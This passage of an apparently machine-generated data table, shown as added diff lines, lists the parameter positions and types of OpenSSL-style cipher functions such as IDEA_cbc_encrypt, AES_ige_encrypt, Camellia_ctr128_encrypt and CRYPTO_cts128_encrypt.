unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 3 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 3 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 3 | RC2_KEY * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 3 | RC2_KEY * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 3 | RC2_KEY * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 3 | const BF_KEY * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 3 | const BF_KEY * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 3 | const BF_KEY * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 3 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 3 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 3 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 4 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 5 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 5 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 5 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 6 | unsigned int * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 3 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 3 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 3 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned 